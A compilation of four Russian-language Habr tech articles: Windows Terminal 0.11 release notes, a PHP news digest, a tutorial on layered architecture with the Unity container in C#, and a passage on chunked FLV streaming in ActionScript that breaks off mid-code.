# Представляем последнюю Preview-версию Windows Terminal — 0.11
Рады вернуться с последним крупным обновлением перед релизом версии 1.0! Выпуски с настоящего времени и до выхода v1.0 будут ревизиями этой версии. Как и всегда вы можете загрузить Терминал из [Microsoft Store](https://www.microsoft.com/en-us/p/windows-terminal-preview/9n0dx20hk701), либо со страницы выпусков на [GitHub](https://github.com/microsoft/terminal/releases). Под катом подробнее рассмотрим детали обновления!
Локализация
-----------
Это первая версия Windows Terminal, пользовательский интерфейс которого поддерживает не только английский язык. Мы все еще работаем над ошибками, так что просим отнестись к этому с пониманием. Если вы обнаружите какие-либо проблемы с переводом, пожалуйста, сообщите о них нам на [GitHub](https://github.com/microsoft/terminal).
Обновление настроек
-------------------
Мы хотели бы обратить ваше внимание на то, что внесли некоторые изменения в настройки. Рекомендуем вам переместить файл settings.json из папки приложения, чтобы Терминал автоматически сгенерировал новый. После этого вы можете скопировать свои настройки обратно.
#### Settings.json
Файл profiles.json был переименован в settings.json. Если у вас уже установлен Терминал, имя файла будет автоматически обновлено.
#### Cascadia Code
Шрифт [Cascadia Code](https://github.com/microsoft/cascadia-code) был установлен по умолчанию для всех профилей, автоматически генерируемых Терминалом. Если вы хотите изменить шрифт, то добавьте свойство *fontFace* в любой профиль или в раздел *defaults*.
#### Цветовые схемы Tango
Теперь терминал поставляется с цветовыми схемами Tango Dark и Tango Light.
#### Копирование и вставка
Во вновь сгенерированном файле settings.json операции копирования и вставки привязаны к *ctrl+c* и *ctrl+v*, соответственно. Новые привязки клавиш работают вместе с *ctrl+shift+c* и *ctrl+shift+v*, и, при необходимости, вы можете легко удалить их. Более того, если вы все же решите отказаться от *ctrl+c* и *ctrl+v*, у вас все еще будет работать старая комбинация клавиш, включенная в файл defaults.json.
**Примечание:** если вы хотите «освободить» старую комбинацию клавиш, то можете установить ее значение в *unbound* или *null* в файле settings.json.
```
{ "command": "unbound", "keys": "ctrl+shift+c" },
{ "command": null, "keys": "ctrl+shift+v" }
```
#### Копирование
Мы изменили стандартное поведение копирования на копирование без форматирования. Для этого во вновь сгенерированный файл settings.json был добавлен новый глобальный параметр *copyFormatting*. По умолчанию, его значение установлено на *false*.
**Примечание:** в defaults.json для *copyFormatting* установлено значение *true*.
#### Настройки, которые были удалены
При подготовке к выпуску версии 1.0 были удалены некоторые устаревшие настройки. Мы понимаем, что это, вероятно, повлияло на ваши рабочие процессы, но надеемся, что в дальнейшем к этому не придется прибегать.
**Пространство имен “Globals”**
Отныне Терминал не поддерживает свойство *globals* в файле JSON. Если у вас есть настройки внутри объекта *globals*, они будут игнорироваться. Чтобы решить эту проблему удалите объект *globals* и переместите свои глобальные параметры в корень файла JSON.
**theme**
Глобальный параметр *requestedTheme* был переименован в *theme*. Это поможет обеспечить гибкость для установки тем в будущем.
```
"theme": "system"
```
**Копирование одной строкой**
Команда *copyTextWithoutNewlines* и аргумент *trimWhitespace* для действия *copy* были удалены и заменены аргументом *singleLine*. Это изменение помогает лучше объяснить, как работает эта функция. Если вы установите значение данного аргумента на true, для действия *copy*, содержимое, скопированное из Терминала, будет вставлено одной строкой.
```
{ "command": { "action": "copy", "singleLine": true ), "keys": "ctrl+alt+c" }
```
**Создание вкладки с определенным профилем**
Первая итерация создания новой вкладки c определенным профилем имела команды привязки клавиш от *newTabProfile0* до *newTabProfile8*. Мы удалили эти команды в пользу более гибкой альтернативы.
**Примечание:** индексирование в Терминале начинается с 0.
```
{ "command": { "action": "newTab", "index": NUMBER }, "keys": "ctrl+shift+NUMBER" }
```
**Переход к определенной вкладке**
Навигация по вкладкам теперь имеет ту же структуру, что и создание новой вкладки. *switchToTab0* — *switchToTab8* были удалены в пользу свойства *index*.
**Примечание:** индексирование в Терминале начинается с 0.
```
{ "command": { "action": "switchToTab", "index": NUMBER }, "keys": "ctrl+alt+NUMBER" }
```
**Разбиение панели**
Чтобы обеспечить больше возможностей при разбиении панели, *splitHorizontal* и *splitVertical* были заменены на новый формат. Кроме того, теперь, если вы не укажете направление разделения, Терминал по умолчанию будет использовать разделение с помощью функции *auto*, которая будет проводить разбивку с учетом обеспечения наибольшей площади поверхности.
```
{ "command": { "action": "splitPane", "split": "horizontal"}, "keys": "alt+shift+-" },
{ "command": { "action": "splitPane", "split": "vertical"}, "keys": "alt+shift+plus" }
```
**Переключение между панелями**
Изначально вы могли использовать *moveFocusDown*, *moveFocusUp*, *moveFocusLeft*, *moveFocusRight* для создания привязок клавиш, позволяющих перемещаться между панелями. Мы удалили их и добавили в качестве замены следующий формат:
```
{ "command": { "action": "moveFocus", "direction": "down" }, "keys": "alt+down" },
{ "command": { "action": "moveFocus", "direction": "up" }, "keys": "alt+up" },
{ "command": { "action": "moveFocus", "direction": "left" }, "keys": "alt+left" },
{ "command": { "action": "moveFocus", "direction": "right" }, "keys": "alt+right" }
```
**Изменение размера панелей**
Чтобы следовать той же архитектуре привязки клавиш, старые команды для изменения размера панелей (*resizePaneDown*, *resizePaneUp*, *resizePaneLeft*, *resizePaneRight*) также были удалены и заменены следующим форматом:
```
{ "command": { "action": "resizePane", "direction": "down" }, "keys": "alt+shift+down" },
{ "command": { "action": "resizePane", "direction": "up" }, "keys": "alt+shift+up" },
{ "command": { "action": "resizePane", "direction": "left" }, "keys": "alt+shift+left" },
{ "command": { "action": "resizePane", "direction": "right" }, "keys": "alt+shift+right" }
```
**Изменение размера шрифта**
Следующие команды привязки клавиш позволяли вам изменять размер шрифта, но теперь они удалены: *decreaseFontSize*, *increaseFontSize*.
Вы можете изменить размер шрифта, воспользовавшись приведенными ниже привязками клавиш, которые используют *delta*, определяющую изменение размера шрифта в точках.
```
{ "command": { "action": "adjustFontSize", "delta": -1 }, "keys": "ctrl+-" },
{ "command": { "action": "adjustFontSize", "delta": 1 }, "keys": "ctrl+=" }
```
Исправление ошибок
------------------
* Больше нет линий, появлявшихся между сплошными фоновыми блоками;
* Более надежно срабатывают аргументы командной строки. В том порядке, в котором вы их ожидаете;
* Для решения некоторых проблем с раскладками клавиатуры, отличающимися от формата US-104 QWERTY, был изменен стек ввода;
* Теперь границы окна Терминала соответствуют используемой теме.
В заключение
------------
Мы надеемся, что вам нравится Windows Terminal, и вы, как и мы, ждете версию 1.0, выход которой состоится очень скоро. Если вы хотите оставить свой отзыв или у вас появились какие-либо вопросы, то не стесняйтесь писать Кайле (Kayla, [@cinnamon\_msft](https://twitter.com/cinnamon_msft)) в Twitter. Помимо этого, если вы хотите внести предложение по улучшению Терминала или же сообщить об ошибке в нем, то, пожалуйста, обратитесь для этого к нам на [GitHub](https://github.com/microsoft/terminal). Скоро увидимся с нашей версией 1.0!
 | https://habr.com/ru/post/499128/ | null | ru | null |
# PHP-Дайджест № 186 (3 – 17 августа 2020)
[](https://habr.com/ru/post/515416/)
Свежая подборка со ссылками на новости и материалы. В выпуске: PHP 8 Beta 1, снова о синтаксисе атрибутов в PHP 8: `#[Attr]` vs `@[Attr]`, предложение по синтаксису для BigInt, обзоры PHP 8 и много других видео, инструменты, стримы, подкасты.
Приятного чтения!
### Новости и релизы
* **[PHP 8.0.0 Beta 1](https://www.php.net/archive/2020.php#2020-08-06-3)** — С первым бета-релизом [заканчивается](https://externals.io/message/111308) фаза активной разработки, а значит [список новых возможностей и изменений](https://github.com/php/php-src/blob/php-8.0.0beta1/UPGRADING) в ветке 8.0 можно считать финальным. (За исключением синтаксиса атрибутов). Следующая бета ожидается 20 августа.
* **[PHP 7.4.9](https://www.php.net/releases/7_4_9.php), [7.3.21](https://www.php.net/releases/7_3_21.php), [7.2.33](https://www.php.net/releases/7_2_33.php)** — Секьюрити релизы актуальных веток с исправлением [уязвимости в phar](https://bugs.php.net/bug.php?id=79797).
* **[WordPress 5.5 “Eckstine”](https://wordpress.org/news/2020/08/eckstine/)** — Наконец-то добавлено автообновлением тем и плагинов, что поможет сделать установки CMS безопаснее.
### PHP Internals
* **[[RFC] Shorter Attribute Syntax Change](https://wiki.php.net/rfc/shorter_attribute_syntax_change#voting)** — История с синтаксисом атрибутов в PHP 8 [продолжается](https://t.me/phpdigest/174). О финальном голосовании [было в канале](https://t.me/phpdigest/174), но позже оно было приостановлено из-за того, что не был соблюден регламент по 2х-недельному обсуждению.
Tycon Andre [привел](https://externals.io/message/111416#111508) примеры, не очень удачного поведения варианта `#[Attr]` в PHP 7. C другой стороны, какая разница, если остальные варианты просто отвалятся с ошибкой парсинга?
И сравнение синтаксисов `@@Attr`, `#[Attr]`, `<>` и `@[Attr]`:
**Скрытый текст**
```
@@ORM\Entity
@@ORM\Table("user")
class User
{
@@ORM\Id @@ORM\Column("integer") @@ORM\GeneratedValue
private $id;
@@ORM\Column("string", ORM\Column::UNIQUE)
@@Assert\Email(["message" => "The email '{{ value }}' is not a valid email."])
private $email;
}
#[
ORM\Entity,
ORM\Table("user")
]
class User
{
#[ORM\Id, ORM\Column("integer"), ORM\GeneratedValue]
private $id;
#[ORM\Column("string", ORM\Column::UNIQUE)]
#[Assert\Email(["message" => "The email '{{ value }}' is not a valid email."])]
private $email;
}
@[
ORM\Entity,
ORM\Table("user")
]
class User
{
@[ORM\Id, ORM\Column("integer"), ORM\GeneratedValue]
private $id;
@[ORM\Column("string", ORM\Column::UNIQUE)]
@[Assert\Email(["message" => "The email '{{ value }}' is not a valid email."])]
private $email;
}
<<
ORM\Entity,
ORM\Table("user")
>>
class User
{
<>
private $id;
<>
< "The email '{{ value }}' is not a valid email."])>>
private $email;
}
@:ORM\Entity
@:ORM\Table("user")
class User
{
@:ORM\Id @:ORM\Column("integer") @:ORM\GeneratedValue
private $id;
@:ORM\Column("string", ORM\Column::UNIQUE)
@:Assert\Email(["message" => "The email '{{ value }}' is not a valid email."])
private $email;
}
```
* **[[RFC] Named Parameters explicit opt in](https://wiki.php.net/rfc/renamed_parameters)** — Документ был переделан и теперь вместо переименования параметров предлагает лишь явно указывать, что данный параметр именованный.
```
// Именованный параметр включен явно
function callBar(Foo $:parameterName) {
$internalName->bar();
}
$x = new Foo();
callBar(parameterName: $x);
// Параметр не именованный
function callBar($externalName) {
$externalName->bar();
}
$x = new Foo();
callBar(externalName: $x); // Error: cannot call function callBar() using parameter $externalName by name.
```
Поскольку PHP 8 уже заморожен для новых фич, то данное предложение возможно только в 8.1, да и то маловероятно.
* **[[Proposal] Bigint shorthand (123n) for GMP objects](https://github.com/php/php-src/pull/5930)** — Интересное [предложение](https://externals.io/message/111372) пока без официального RFC.
Предлагается реализовать в PHP синтаксис для больших чисел аналогичный JavaScript с добавлением в конце суффикса «n»:
```
$theBiggestInt = 9007199254740991n
```
При этом под капотом будет использоваться GMP. А поскольку для объектов GMP уже перегружены арифметические операторы, а также битовые и сравнения, то работа с такими числами будет прозрачной.
* В рамках [дискуссии](https://externals.io/message/111073) на тему улучшения интерактивного шелла PHP (`php -a`), предложен [PR](https://github.com/php/php-src/pull/5962), который позволит задавать колбэк отрабатывающий на вывод из интерактивного шелла. Или пока можно использовать [bobthecow/psysh](https://github.com/bobthecow/psysh).
*  [[RFC] PHP Namespace Policy](https://wiki.php.net/rfc/php_namespace_policy) — Отклонен.
### Инструменты
* [PHPUnit 9.3](https://github.com/sebastianbergmann/phpunit/blob/9.3.0/ChangeLog-9.3.md#930---2020-08-07) — C поддержкой PHP 8 и Xdebug 3.
* [sebastianbergmann/cli-parser](https://github.com/sebastianbergmann/cli-parser) — Микропакет для парсинга аргументов командной строки, выделенный из PHPUnit.
* [coduo/php-matcher](https://github.com/coduo/php-matcher) — Валидация данных по паттернам для тех, кто не хочет в регекспы.
* [phpfn/phpfn](https://github.com/phpfn/phpfn) — Функциональные примитивы от [SerafimArts](https://habr.com/ru/users/serafimarts/).
* [hidehalo/nanoid-php](https://github.com/hidehalo/nanoid-php) — PHP-реализация Nanoid — безопасного URL-совместимого генератора уникальных идентификаторов.
* [woohoolabs/zen](https://github.com/woohoolabs/zen) — Простой PSR-11-совместимый контейнер с генератором файла предзагрузки.
* [loophp/collection](https://github.com/loophp/collection) — Легковесные коллекции.
### Symfony
* [mrsuh/json-validation-bundle](https://github.com/mrsuh/json-validation-bundle) — Бандл для валидации JSON запроса/ответа по [json-schema.org](http://json-schema.org).
* [Деплоим Symfony-приложение на AWS Lambda](https://medium.com/@smaine.milianni/aws-lambda-and-symfony-6d3e9831c3cd)
*  [SSR: рендеринг ReactJS приложения на бекэнде используя PHP](https://habr.com/ru/post/513682/).
### Laravel
* [Очереди Laravel: Запуск одной и той же джобы несколько раз.](https://divinglaravel.com/laravel-queues-in-action-running-the-same-job-multiple-times)
*  [Не используйте защиту от массового присваивания в ваших моделях Laravel](https://www.youtube.com/watch?v=XNy0hldKHjM).
*  [Better Laravel Way](https://www.youtube.com/playlist?list=PL1BlcTalLDBcosZR3ynk_tU80_ke1ar3s) — Несколько видео по фреймворку на разные темы.
*  [Laravel-Дайджест (10–16 августа 2020)](https://habr.com/ru/post/515338/)
### Материалы для обучения
* [Тестирование микросервисов на PHP с помощью Codeception](https://medium.com/@docler/testing-microservices-in-php-with-codeception-94e47f22cc24).
* [Как работают статические анализаторы PHP-кода](https://www.exakat.io/from-php-code-to-static-analysis/).
* [Антипаттерны в легаси приложениях на PHP](https://adrien.poupa.fr/modernizing-a-legacy-php-application/).
* [Method fossilisation](https://www.exakat.io/en/method-fossilisation/) — О проблемах переопределения наследуемых методов.
* [PHP-пакеты как зависимости уровня системы](https://technex.us/2020/08/the_case_for_system_wide_dependency_injection_in_php/).
* [KPHPStorm](https://unserialize.github.io/kphpstorm/) — Около 7 лет назад ребятки и ВКонтакте [выложили код](https://github.com/vk-com/kphp-kdb) своего транслятора KPHP. C тех пор новостей о нем особо не было.
Представление о том, как выглядит KPHP сейчас можно сделать, посмотрев на плагин для PhpStorm, который опубликовали разработчики.
Код плагина открыт [github.com/unserialize/kphpstorm](https://github.com/unserialize/kphpstorm).
* [Дружественные классы в PHP](https://rmcreative.ru/blog/post/php-friendly-klassy) — Когда-то был [RFC на эту тему](https://wiki.php.net/rfc/friend-classes), но он не прошел голосование.
*  [Как создаются Highload проекты на PHP: расшифровка](https://habr.com/ru/company/ruvds/blog/514214/).
*  [PHP 8: код «До» и «После» (сравнение с PHP 7.4)](https://habr.com/ru/company/vdsina/blog/514512/)
*  [Как я html-парсер на php писал, и что из этого вышло. Заключительная часть](https://habr.com/ru/post/505392/)
*  [Запускаем php 8 с JIT через Docker за 5 минут](https://habr.com/ru/post/515216/)
### Аудио/Видео
*  [PHP 8: Process & fixing insanity](https://www.youtube.com/watch?v=QtF2qK9QA5A) — Обзор PHP 8 от одного из core-контрибьюторов [George Peter Banyard](https://twitter.com/Girgias). Еще раньше уже был [подобный доклад от Никиты Попова](https://www.youtube.com/watch?v=NbBRXwu1Md8), а также от [от William Pinaud](https://www.youtube.com/watch?v=KWRv7iM1vwo).
*  [Type Juggling Magic: Why PHP thinks 0 and «password» are the same](https://www.youtube.com/watch?v=-1kftH6t5VA) — Забавное видео о том, как приведение типов в PHP может привести к проблемам безопасности.
*  [Видеозаписи докладов Dutch PHP Conf 2020](https://www.youtube.com/playlist?list=PLV9OnTq0kQ5ygGrauB0lrIalHAupR5l8o)
*  [Стрим «Примеры проектов на PHP и GO»](https://www.youtube.com/watch?v=6AhJWUTGHTo) с разбором пары проектов на PHP и Go и обсуждением типичных проблем.
*  [Пятиминутка PHP #82](https://5minphp.ru/episode82/): О переходе на `declare(strict_types=1)`.
*  [Пятиминутка PHP #83](https://5minphp.ru/episode83/): Объекты передаются по ссылке или нет?
*  [Подкаст Voices of the ElePHPant:](https://voicesoftheelephpant.com/2020/08/11/eighers-gonna-eight-with-sara-golemon-and-garbriel-caruso/) — Интервью с релиз-менеджерами PHP 8 Sara Golemon и Garbriel Caruso — все про предстоящий релиз.
*  [Подкаст PHP Internals News #66](https://phpinternals.news/66) — С Никитой Поповым про [использование одного токена для всего неймспейса](https://wiki.php.net/rfc/namespaced_names_as_token) в PHP 8 и парсинге PHP в целом.
*  [Подкаст PHP Internals News #65](https://phpinternals.news/65) — С [Dan Ackroyd](https://twitter.com/MrDanack) про новый оператор `?->` в PHP 8.
### Занимательное
* [www.elephpant.com](https://www.elephpant.com/) — Оригинальных слоников синего и розового цвета можно будет заказать, написав [автору их дизайна Vincent Pontier](https://www.jetbrains.com/lp/php-25/#e_2007_06_14).
Серые и черные также есть в магазине Symfony [shop.symfony.com](https://shop.symfony.com/collections/all) — теперь с доставкой по всему миру.
---
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
> Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
>
>
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 185](https://habr.com/ru/post/513558/) | https://habr.com/ru/post/515416/ | null | ru | null |
# Layers + Unity Container
Всем привет! Хочу привести пример layers-архитектуры и роль контейнера Unity в ней. А то народ про сам контейнер пишет, а как его c с пользой использовать толком написать не могут. Давайте я попробую.
Начну очень издалека, извините сразу. Просто, для того, чтобы объяснить что-то полезное, необходимо придумать что-то действительно полезное.
### (Не очень) жизненный пример
Предположим, что вы — классный разработчик и у вас есть два друга-программиста: Колян и Толян. Колян и Толян всем хороши, да опыта мало, качество их кода, как следствие, страдает, но вы с ними дружите и иногда даже делаете проект сообща.
Теперь — вдруг откуда ни возьмись вам звонит заказчик из банка IBBC и звонко верещит:
-Володья! Нам срочно нужно получить приложение, которое будет показывать предметы на экране! Срок неделя. Денег — миллион!
И кладет трубку.
Поскольку любое конструирование начинается с проектирования, будем проектировать.
### Слои и черные ящики
Систему будем строить на слоях.
Определение программного слоя из Microsoft Architecture Application Guide таково (в несколько вольном переводе меня, пардон):
*Слоем называется логическая группировка программных компонент, составляющих приложение или службу.*
Иными словами, в «слоенной архитектуре» та самая куча программных компонент, из которых состоит приложение, разделяется на несколько логически связанных подмножеств. Все знают классику жанра — слой UI, слой бизнес-логики, слой данных.
Судя по словам заказчика, нам нужно показывать что-то в пользовательском интерфейсе и забирать данные из какого-то источника. Поэтому система будет состоять из двух слоев — UI-слой, Data-слой, а так же драйвера (который соединяет слои + main()).
Договорились, что UI будет писать Колян, а слой данных будет писать Толян. Вы же будете осуществлять координирующую деятельность и писать программу драйвер плюс cross-cutting код.
### Черные ящики
Слой — это программный модуль (сборка или сборки с одной главной в .net). Этот модуль можно реализовать в виде черного или белого ящика.
* Черный ящик подразумевает, что вы знаете интерфейсную составляющую слоя и можете оперировать функциональностью ящика только через нее.
* Белый ящик означает, что все управляющие сущности программного компонента видимы другими компонентами, которые знают о существовании ящика.
Другими словами, вы не знаете, что в черном ящике, но у вас есть пульт управления (интерфейсы) к нему.
В белом ящике вы хозяин — что хотите, то с его наполнением и делаете. Он прозрачный и у него видны все внутренности.
В нашем случае дизайнить слои методом черного ящика кошернее, вот почему:
1. Вы добиваетесь концептуальной целостности и инкапсуляции. Разработав единый механизм доступа к слою через его интерфейс вы обретаете семантическую полноту (то бишь конечность), позволяющую вам оперировать только сущностями ящика.
2. Инкапсуляция и (что очень главное) неведение о том, каким образом сконструированы конкретные сущности слоя, позволяют вам сосредоточиться на более общей проблеме, убрав из головы заботу о ненужных тонкостях.
3. В конце концов, об этих постулатах нам твердят лучшие умы от программирования, поэтому давайте послушаем умных дядечек:)
### Контейнер и его роль
Из всего вышеперечисленного получается, что организовывать программный модуль нужно таким образом, чтобы он:
1. Реализовывал назначенные ему контракты
2. Скрывал всю реализацию конкретных сущностей
Поскольку мы инкапсулируем все реализации в ящике, то мы не можем обращаться к ним напрямую и работать с ними обычным образом. Нам нужно каким-то образом связать контракт ящика и его реализацию, где-то ее сохранить, чтобы потом другие участники процесса смогли ими воспользоваться. Для этого нужен контейнер. В самом вырожденном случае он является обычным словарем «интерфейс-конкретный тип». В более сложном случае, как, например, с Unity, это еще и инъектор зависимостей и прочие шлюхи с блэкджеками.
В момент запуска приложения нужно окунуть контейнер в слой и позволить слою зарегистрировать свои реализации для обязательных ему контрактов. После того, как все реализации собраны, можно уже писать управляющий код, не волнуясь, кто же у нас ху.
Все это вы распланировали у себя в голове (какой молодец), теперь приступаем к этапу разработки.
### Код
Нужна контрактная сборка. Их можно сделать несколько — на каждый слой. Но я сделаю одну общую, для простоты.
Толян у нас делает доступ к данным. Пусть его слой реализует вот что:
> `public interface IDataService
>
> {
>
> object GetData();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
А Коляну, соответственно, достался UI:
> `public interface IDataView
>
> {
>
> void ShowData();
>
> }
>
>
>
> public interface IViewFactory
>
> {
>
> IDataView Create(Type viewType);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Программный модуль должен содержать в себе единственный публичный класс, чтобы мы могли засунуть в него руку с контейнером и зачерпнуть пригорошню реализаций:
> `public interface IModule
>
> {
>
> void Configure(IUnityContainer container);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Все, контракты определены. Теперь нам нужно собрать все воедино в управляющем приложении:
> `class ShellApplication
>
> {
>
> public ShellApplication()
>
> {
>
> \_container = new UnityContainer();
>
> }
>
>
>
> public void Run()
>
> {
>
> Application.EnableVisualStyles();
>
> Application.SetCompatibleTextRenderingDefault(false);
>
>
>
> \_container.RegisterInstance(\_container);
>
> \_container.Resolve().Configure(\_container);
>
> \_container.Resolve().Configure(\_container);
>
>
>
> MainForm form = (MainForm)\_container.Resolve(typeof(MainForm));
>
>
>
> Application.Run(form);
>
> }
>
>
>
> private IUnityContainer \_container;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
> `partial class MainForm : Form
>
> {
>
> public MainForm(IViewFactory factory)
>
> {
>
> InitializeComponent();
>
> \_factory = factory;
>
> }
>
>
>
> protected override void OnLoad(EventArgs e)
>
> {
>
> base.OnLoad(e);
>
>
>
> IDataView view = \_factory.Create(typeof(IDataView));
>
> Controls.Add((Control)view);
>
> view.ShowData();
>
> }
>
>
>
> private IViewFactory \_factory;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
С вашей частью все.
Теперь нужно заставить Коляна и Толяна написать нужный код. При должной сноровке, можно писать все части вместе, параллельно. Таким образом, прелесть разработки в ее шикарной масштабируемости. Если все грамотно распланировать, разработка слоев-модулей стартует резво и быстро, не отвлекаясь на другие части.
Итеративность тоже поддерживается — можно писать нисходящим образом. Сначала нужно написать управляющий код, навесив на него «фальшивые слои» и изменяя контракты под требования в итерациях. После того, как управляющий код отлажен и зафиксирован, останется подмести по углам — реализовать ящики.
У Коляна, Толяна и меня получилось вот что:
Смотрите, кругом одни конвертики. Слои высунули наружу только свой хвостик — класс модуля.
А мужику из IBBC мы сделали его приложение и огребли кучу денег. Толян и Колян купили себе десятки, а я — приору.
Стойте. Чуть не забыл. Вы можете мне сказать «Ha-ha-ha-ha!!! Sucker! Sucker!», примерно так же, как это сделал Henry Rollins в конце четвертой минуты своей очень хорошей [песенки](http://www.youtube.com/watch?v=_vgQalXaIxs). Как же это я скрыл все реализации, а юнит-тестирование?!?!
Ну, я делаю так:
> `[assembly: System.Runtime.CompilerServices.InternalsVisibleTo("Services.Tests, PublicKey=00240000048000009[skipped]1fbcb51f56dfcc8db5320774f354553ad")]
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Пояснять не нужно?:)
### Особенности, выводы, примечания, бонусы и недостатки
Сори, что я делаю пример на Windows Forms. Я бы очень хотел рассказать, как таким макаром устроить архитектуру приложения ASP.NET MVC, но меня за это побъет товарищ [XaocCPS](https://habrahabr.ru/users/xaoccps/). Я бы с радостью подрался, но он меня шустрее и больше. Оставим эту тему ему.
1) Управляющая сборка должна иметь ссылки на все слои и сборку контрактов. Иначе, нельзя будет собрать реализации.
2) Коляну пришлось использовать сервис данных Толяна (согласно парадигме, слой UI зависит от слоя данных):
> `partial class DataView : UserControl, IDataView
>
> {
>
> public DataView(IDataService data)
>
> {
>
> InitializeComponent();
>
> \_dataService = data;
>
> listBox1.DataSource = \_source;
>
> }
>
>
>
> #region IDataView Members
>
>
>
> public void ShowData()
>
> {
>
> \_source.DataSource = \_dataService.GetData();
>
> }
>
>
>
> #endregion
>
>
>
> private IDataService \_dataService;
>
> private BindingSource \_source = new BindingSource();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Но из-за того, что мы резолвим зависимости слоя данных раньше, чем слоя UI плюс необычной, уличной магии контейнера Unity, у нас не возникает с простановкой зависимостей никаких проблем.
А вот так Толян реализовал IModule у себя в слое:
> `public class Module : IModule
>
> {
>
> #region IModule Members
>
>
>
> public void Configure(Microsoft.Practices.Unity.IUnityContainer container)
>
> {
>
> container.RegisterType(typeof(IDataService), typeof(DataService));
>
> }
>
>
>
> #endregion
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
3) Пожалуй, основным преимуществом описанного подхода является инкапсуляция. Мы оперируем интерфейсами. Нам не нужно знать, что за ними скрывается. При малейшей неадекватности Толяна или Коляна мы просто выбрасываем все то, что он написал, и пишем свое, пребывая (законно) в полной уверенности за сохранность другого кода. Нужно просто реализовать контракты заменяемого ящика :D
4) Некто [sse](https://habrahabr.ru/users/sse/) спросил совершенно замечательный вопрос в [статье](http://habrahabr.ru/blogs/net/63280/) про юнити:
> Потому что для таких простых примеров
>
>
>
> `var svc = new MyService(10);`
>
>
>
> выглядит куда лучше, чем
>
>
>
> `var uc = new UnityContainer();
>
> uc.RegisterType();
>
> uc.RegisterType(new InjectionConstructor(10));
>
> var svc = uc.Resolve();`
>
>
Я думаю, я пояснил его недоразумение.
5) Вообще говоря, контейнер Unity предназначается для инъектора зависимостей и фабрики объектов нового фреймворка от МС — Unity Application Block. И вроде как бы он нам говорит, что его лучше не использовать вне стен фреймворка, но возможности его применения действительно очень широки.
6) Указанные в коде формочки и пользовательские контролы нужно зарефакторить через шаблон MVP. Но это на любителя:)
Спасибо за внимание:) | https://habr.com/ru/post/63698/ | null | ru | null |
# Оптимизация псевдостриминга FLV-видео
Один из проектов нашей компании — это сервис online-видео, аналогичный youtube. Для вещания и реализации возможностей стриминга используется замечательный веб-сервер nginx с модулем ngx\_http\_flv\_module.
Все было хорошо, пока количество просмотров не достигло уровня, когда не только сетевые каналы серверов оказались перегружены, но и перестала справляться с запросами на чтение дисковая подсистема серверов.
Проблемы с дисковой подсистемой решили просто установкой 10-ого рейда. Но с сетью надо было что-то делать и появилась идея загружать файлы для просмотра не одним потоком, а дискретно, кусками одинакового размера. Благо во flash’e было реализовано все, что нужно. Согласно документации в объекте NetStream есть метод appendBytes() с нужным функционалом. Вот выдержка из официальной документации:
“Передает объект ByteArray в экземпляр NetStream для воспроизведения. Вызовите этот метод для объекта NetStream в режиме создания данных. Чтобы перевести объект NetStream в режим создания данных, вызовите метод NetStream.play(null) для экземпляра NetStream, созданного для объекта NetConnection, который подключен к null. Метод appendBytes() нельзя вызывать для объекта NetStream, который не находится в режиме создания данных, в противном случае выдается исключение.”
Казалось бы, берем класс Loader, прописываем заголовок Range, но нас тут поджидает мина от разработчиков Adobe. В стандартных классах Action Script, которые работают с протоколом HTTP, недоступно использование заголовка Range. Опять же, из официальных источников становится известно, что заголовок Range заблокирован в коде классов, работающих в протоколом HTTP, из соображений безопасности еще в версии плеера 9. Но радовало одно: что блокировка не нативная, а в самих классах, из чего следовало, что можно написать свой HTTP-клиент, используя базовый класс сокета Soсket. Благо в закромах google нашелся уже готовый класс [HTTPClientLib](https://github.com/gabriel/as3httpclient). Приведенный ниже код загружает первый мегабайт видеофайла и воспроизводит его:
```
private var ns:NetStream;
private var video:Video;
private var meta:Object;
private var client:HttpClient;
private var filesize:Number = 0;
private var loadedBytes:Number = 0;
private var data:ByteArray = new ByteArray();
private var datadelta:Number = 1024*1024;
//Переменная содержит ссылку на видео-файл
private var file:String = %ссылка на видео файл%;
private function init():void{
//Инициируем объект, который получит метаданные загруженного видео
var nsClient: Object = {};
//Собственно функция обработчик события на получение метаданных
nsClient.onMetaData = metaDataHandler;
//Объект соединения с сервером; в нашем варианте он создается с ссылкой на объект null так как мы не работаем с медиа-сервером
var nc:NetConnection = new NetConnection();
nc.connect(null);
//Собственно объект, который будет управлять получением данных и воспроизведением самого видео
ns = new NetStream(nc);
ns.client = nsClient;
//Событие на обработки изменения статуса
ns.addEventListener(NetStatusEvent.NET_STATUS,netStatusHandler);
//Обработчик ошибок сети
ns.addEventListener(IOErrorEvent.IO_ERROR,nsIOErrorHandler);
//Визуальный компонент который будет показывать видео
video = new Video();
video.attachNetStream(ns);
// Сглаживание картинки. Необязательный параметр, но на низком качестве видео пригодится
video.smoothing = true;
uic.addChild(video);
//Наш объект, который будет грузить данные вместо NetStream
client = new HttpClient();
//Старт загрузки первого мегабайта видео
loadData();
//Включаем режим создания данных объекта NetStream
ns.play(null);
}
private function loadData():void{
//Объект с ссылкой на видео
var uri:URI = new URI(file);
//Объект, в котором можно объявить заголовки
var request:HttpRequest = new Get();
//maxdata показывает конечную границу диапазона загрузки
//loadedBytes - это начальная граница диапазона
var maxdata:Number = loadedBytes+datadelta;
//Формируем заголовок с учетом того, что размер файла может быть не кратен нашей дельте загрузки
if (maxdata>=filesize and filesize>0){
request.addHeader('Range','bytes='+loadedBytes+'-');
} else {
request.addHeader('Range','bytes='+loadedBytes+'-'+maxdata);
}
//Обработчик события на получение данных, по мере загрузки сохраняем в буфер data
//В данном случае загружаемые данные лучше сохранять в
//временный буфер потому что при прямой отправке в объект NetStream воспроизведение
//начинает прыгать по временной шкале
client.listener.onData = function(e:HttpDataEvent):void {
